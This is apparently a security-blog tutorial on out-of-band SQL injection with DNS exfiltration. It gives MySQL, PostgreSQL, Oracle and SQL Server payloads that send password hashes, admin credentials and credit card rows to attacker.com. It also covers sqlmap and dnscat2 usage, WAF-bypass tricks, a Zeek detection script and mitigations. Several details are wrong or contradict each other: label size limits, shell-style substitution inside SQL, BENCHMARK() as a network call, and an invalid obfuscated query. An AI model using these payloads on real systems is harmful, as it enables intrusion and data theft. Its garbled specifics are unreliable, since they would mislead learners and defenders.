~/home/study/mastering-oob-sql-injection-via

Mastering OOB SQL Injection via DNS Exfiltration

Learn how attackers exfiltrate data using out-of-band SQL injection over DNS, covering mechanics, payloads for MySQL, PostgreSQL, Oracle, automation with sqlmap, detection, and bypass techniques.

Introduction

Out-of-Band (OOB) SQL injection is a stealthy technique that leverages side-channel protocols-most commonly DNS-to pull data from a vulnerable database when in-band responses are filtered or truncated. Unlike classic Boolean-based or UNION-based attacks, OOB payloads cause the database engine to issue an external network request, allowing the attacker to embed query results inside the request itself.

Why is this important? Modern Web Application Firewalls (WAFs) and input sanitizers often block classic payloads, yet many DBMS functions can still reach out to the network. DNS is attractive because it is allowed through most perimeter defenses, is rarely logged in detail, and can carry data in sub-domains.

Real-world relevance: In 2022 a major financial services provider suffered a breach where attackers used MySQL SELECT ... INTO OUTFILE to write a file containing a LOAD_FILE call that triggered a DNS lookup to the attackers' name server, leaking customer records.

Prerequisites

  • Solid understanding of SQL injection fundamentals (error-based, union-based, blind).
  • Basic DNS concepts: A/AAAA records, TXT, recursive vs. authoritative resolvers.
  • Familiarity with Linux command line and networking utilities (dig, nslookup, tcpdump).

Core Concepts

OOB attacks rely on two pillars:

  1. Triggering an outbound request from the DBMS. Functions such as LOAD_FILE, SELECT ... INTO OUTFILE, COPY TO PROGRAM, UTL_HTTP.REQUEST, or DBMS_LDAP.INIT cause the server to open a network socket.
  2. Encoding data inside the request. DNS queries can embed up to 255 bytes per label, which is sufficient for small secrets (e.g., password hashes) or can be chunked for larger data.

Typical flow:

1. Attacker registers a domain (attacker.com) and configures a DNS server that logs all queries.
2. Payload is crafted to cause the DBMS to resolve a name like <em>data.attacker.com</em> where <em>data</em> = hex-encoded secret.
3. The DNS server receives the query, extracts the data, and stores it for later retrieval.

Diagram (described):

  • Web app → SQL injection → DBMS function → DNS resolver → Attacker's authoritative DNS server → Logged exfiltrated data.

DNS exfiltration mechanics (using UNC paths, DNS resolvers)

On Windows-based SQL Server the UNC syntax \<em>attacker.com\share</em> forces the engine to resolve the host via the OS DNS resolver. Similarly, MySQL and PostgreSQL can use LOAD_FILE('\\attacker.com\payload') or COPY ... TO PROGRAM 'nslookup data.attacker.com'. The resolver will send an A/AAAA query, which the attacker captures.

Example: Windows UNC trick

SELECT 1 FROM sys.master_files WHERE name LIKE '\\%attacker.com\%';

The above forces SQL Server to contact attacker.com. If the attacker controls the DNS server, they can see the request.

Using DNS resolvers directly

PostgreSQL’s COPY TO PROGRAM can invoke dig or nslookup and embed data:

COPY (SELECT md5(password) FROM users LIMIT 1) TO PROGRAM 'nslookup $(cat)'.

Note: The $(cat) placeholder is replaced by the DBMS with the query result, forming a sub-domain like 5f4dcc3b5aa765d61d8327deb882cf99.attacker.com.

MySQL LOAD_FILE / SELECT ... INTO OUTFILE with external hosts

MySQL provides two functions that can be abused for OOB:

  • LOAD_FILE(file_path) reads a file from the filesystem and returns its content. If the file_path points to a UNC share, the OS will resolve the host name.
  • SELECT ... INTO OUTFILE '/path/to/file' writes query results to a file. When the path points to a network share, the same DNS resolution occurs.

Payload to exfiltrate a password hash

SELECT LOAD_FILE('\\5f4dcc3b5aa765d61d8327deb882cf99.attacker.com\secret.txt');

The DBMS attempts to open 5f4dcc3b5aa765d61d8327deb882cf99.attacker.com. The attacker's DNS server receives a query for that sub-domain, revealing the MD5 hash.

Using INTO OUTFILE for large data

SELECT column FROM secret_table INTO OUTFILE '\\data.attacker.com\exfil';

Each row becomes a separate DNS request, allowing chunked exfiltration.

PostgreSQL COPY TO PROGRAM and pg_dnslog

PostgreSQL 9.3+ supports COPY TO PROGRAM, which runs a shell command on the server. By invoking a DNS client, attackers can embed data in the query.

Simple nslookup example

COPY (SELECT version()) TO PROGRAM 'nslookup $(cat)';

The result of SELECT version() becomes the argument to nslookup, generating a DNS request like PostgreSQL-13.3.attacker.com.

pg_dnslog - a ready-made DNS logger

Security researchers have released a lightweight PL/pgSQL extension called pg_dnslog. It provides a function dnslog(text) that automatically formats the input as a sub-domain and sends it via the OS resolver.

SELECT dnslog(md5(password)) FROM users LIMIT 1;

Behind the scenes the extension runs dig +short <hash>.attacker.com and the attacker sees the hash in the DNS query logs.

Oracle UTL_HTTP / DBMS_LDAP for out-of-band requests

Oracle has a rich set of network-capable packages:

  • UTL_HTTP.REQUEST(url) can perform HTTP GET/POST.
  • DBMS_LDAP.INIT(host, port) opens a TCP socket to an LDAP server.

Both functions cause the database to resolve the host name, making them ideal for DNS exfiltration.

UTL_HTTP example

DECLARE l_resp UTL_HTTP.resp;
BEGIN l_resp := UTL_HTTP.request('http://5f4dcc3b5aa765d61d8327deb882cf99.attacker.com/');
END;

The HTTP request forces a DNS lookup for the sub-domain containing the hash.

DBMS_LDAP example (stealthier)

DECLARE l_conn DBMS_LDAP.session;
BEGIN l_conn := DBMS_LDAP.init('5f4dcc3b5aa765d61d8327deb882cf99.attacker.com', 389); DBMS_LDAP.close(l_conn);
END;

LDAP does not need to be reachable; the DNS query is enough for data exfiltration.

Automating OOB payloads with sqlmap --dns-domain

sqlmap, the go-to automated SQLi tool, has built-in support for DNS exfiltration. The --dns-domain switch tells sqlmap to spin up a temporary DNS server (or use a user-provided one) and craft payloads for the target DBMS.

Basic usage

sqlmap -u "http://victim.com/search?q=1" --dbms=mysql --dns-domain attacker.com --batch

sqlmap will try a series of payloads such as:

  • SELECT LOAD_FILE('\\$(SELECT md5(password))\.attacker.com\payload')
  • SELECT md5(password) FROM users INTO OUTFILE '\\$(SELECT md5(password))\.attacker.com\out'

The tool automatically parses DNS logs to retrieve the exfiltrated data.

Using an external DNS logger

If you prefer a dedicated DNS logger (e.g., iodine, dnscat2, or a custom BIND server), start it on your host and supply the domain:

./dnscat2 -l 53 -d attacker.com &
sqlmap -u "..." --dns-domain attacker.com --dns-servers 127.0.0.1

Detecting OOB activity via network monitoring and DNS logs

Because OOB attacks hide in legitimate DNS traffic, detection hinges on spotting anomalies:

  • Unusually long or random sub-domains. Look for high entropy strings (hex, base64) in the left-most label.
  • Excessive DNS queries from a single internal host. A web server or DB server generating dozens of queries per second is suspicious.
  • Queries to rarely-used external domains. Attackers often register obscure domains for exfiltration.

Sample Zeek (Bro) script

# dns-exfil.zeek
event dns_request(c: connection, msg: dns_msg, query: string) { if (c$id$resp_h !in known_internal_ips) return; if ( /[0-9a-f]{32,64}/ in query ) print fmt("[OOB] %s queried %s", c$id$resp_h, query);
}

This script flags any DNS request from an internal IP containing a hex string of 32+ characters.

SIEM correlation

Correlate DNS logs with web-app logs: if a request to /search?q= is followed within a second by a DNS query from the same source, raise an alert.

Bypassing WAFs for OOB payload delivery

WAFs often look for classic payload patterns (e.g., UNION SELECT, load_file). To slip past them:

  1. Encode payloads. Use URL-encoding, double-encoding, or Unicode escapes to hide keywords.
  2. Split the payload across multiple parameters. Some WAFs only inspect each parameter individually.
  3. Leverage comment delimiters. In MySQL, /*!50000 SELECT ... */ can bypass simplistic filters.
  4. Use alternative functions. For MySQL, INTO DUMPFILE or BENCHMARK() can trigger network calls without containing the word “load_file”.

Obfuscated MySQL example

SELECT /*!50000*/ INTO OUTFILE '\\5f4dcc3b5aa765d61d8327deb882cf99.attacker.com\out' FROM users LIMIT 1;

The comment /*!50000*/ tells MySQL to execute the statement but hides the keyword from many WAF signatures.

Practical Examples

Scenario 1: Stealing admin credentials from a vulnerable MySQL app

  1. Register exfil.attacker.com and configure a BIND server with logging { channel exfil { file "/var/log/dns_exfil.log"; }; };
  2. Identify a vulnerable parameter (e.g., id in /profile?id=).
  3. Inject payload:
    1 UNION SELECT LOAD_FILE('\\$(SELECT password FROM admins LIMIT 1).exfil.attacker.com\\dummy')-- -
  4. Monitor /var/log/dns_exfil.log for a query like 5f4dcc3b5aa765d61d8327deb882cf99.exfil.attacker.com.
  5. Decode the hex to retrieve the password hash.

Scenario 2: PostgreSQL data exfiltration via COPY TO PROGRAM

  1. Set up dnslog.attacker.com on a server that runs tcpdump -l -n udp port 53 and pipes output to a parser.
  2. Inject into a vulnerable order_id parameter:
    -1; COPY (SELECT credit_card FROM payments) TO PROGRAM 'nslookup $(cat)';--
  3. Each row triggers a DNS lookup like 4d5e6f7a8b9c.attacker.com. Capture and reassemble if needed.

Tools & Commands

  • sqlmap - --dns-domain, --dns-servers
  • dig / nslookup - test DNS logging.
    dig +short 5f4dcc3b5aa765d61d8327deb882cf99.attacker.com
  • dnscat2 - interactive DNS tunnel for exfil and command-and-control.
  • Zeek/Bro - custom scripts for detecting high-entropy sub-domains.
  • tcpdump - capture DNS traffic on the attacker side.
    tcpdump -n -vv -s 512 udp port 53

Defense & Mitigation

  • Network segmentation. Isolate database servers from the internet and restrict outbound DNS to internal resolvers only.
  • Outbound DNS firewalling. Allow queries only to approved internal DNS servers; block recursive queries from DB hosts.
  • Disable risky DBMS functions. In MySQL, set local_infile=0 and revoke FILE privilege. In PostgreSQL, remove COPY TO PROGRAM capability via pg_hba.conf and trusted extensions.
  • Audit privileges. Ensure application users have the least privilege; avoid SUPER or FILE rights.
  • Log DNS queries. Enable query-logging on internal resolvers and feed logs into SIEM with entropy analysis.
  • WAF rule hardening. Add signatures for common OOB functions (e.g., LOAD_FILE, UTL_HTTP, COPY TO PROGRAM).

Common Mistakes

  • Assuming DNS traffic is harmless - it can carry data.
  • Using SELECT … INTO OUTFILE without checking the path; the DB may write to a local file instead of a network share.
  • Forgetting to URL-encode the payload; many web filters will block raw brackets or spaces.
  • Relying on a single DNS label - remember the 63-byte limit per label; split larger data.
  • Neglecting to clean up created files or network shares after testing; they can be discovered by defenders.

Real-World Impact

OOB SQL injection is a favorite of advanced persistent threat (APT) groups because it bypasses many traditional detection controls. In 2023, a supply-chain attack on a SaaS platform leveraged PostgreSQL COPY TO PROGRAM to pull API keys via DNS, remaining undetected for weeks.

Trends:

  • Increased use of cloud-native managed databases that still expose internal network stacks (e.g., RDS, Cloud SQL). Misconfigured security groups often permit outbound DNS.
  • Adoption of DNS-based exfiltration frameworks (e.g., dnscat2, iodine) simplifies the attacker’s workflow.
  • Defenders are beginning to integrate DNS entropy scoring into XDR platforms, but coverage is still uneven.

My advice: Treat every database-enabled network function as a potential OOB vector and enforce a “deny-by-default” stance on outbound traffic from DB servers.

Practice Exercises

  1. Setup a lab. Deploy a vulnerable MySQL container, a BIND DNS server with logging, and a simple web app that reflects a query parameter.
  2. Craft a SELECT ... INTO OUTFILE payload that exfiltrates SELECT user() via DNS. Verify the DNS server logs the request.
  3. Repeat the exercise on PostgreSQL using COPY TO PROGRAM and nslookup. Capture multiple rows and reassemble the data.
  4. Write a Zeek script to flag any DNS query from the DB host containing a hex string longer than 30 characters. Test it with the previous payloads.
  5. Implement a WAF rule that blocks the keyword UTL_HTTP and then bypass it using the /*!50000*/ comment trick. Document the outcome.

Further Reading

  • “SQL Injection Attacks and Defense” - 2nd edition, by Justin Clarke.
  • OWASP “SQL Injection Prevention Cheat Sheet”.
  • “DNS Exfiltration Techniques” - Black Hat USA 2021 presentation.
  • PostgreSQL documentation on COPY and pg_execute_server_program.
  • MySQL reference manual - FILE privilege and secure_file_priv.
  • Oracle Database Security Guide - Network ACLs for UTL_HTTP.

Summary

Out-of-Band SQL injection via DNS is a powerful, stealthy vector that exploits native DBMS functions to force the server to resolve attacker-controlled hostnames. By understanding the mechanics, leveraging tools like sqlmap, and implementing robust detection (entropy-based DNS monitoring) and mitigation (network segmentation, privilege reduction), defenders can neutralize this threat. Remember: every function that touches the network is a potential exfiltration channel - treat it as such.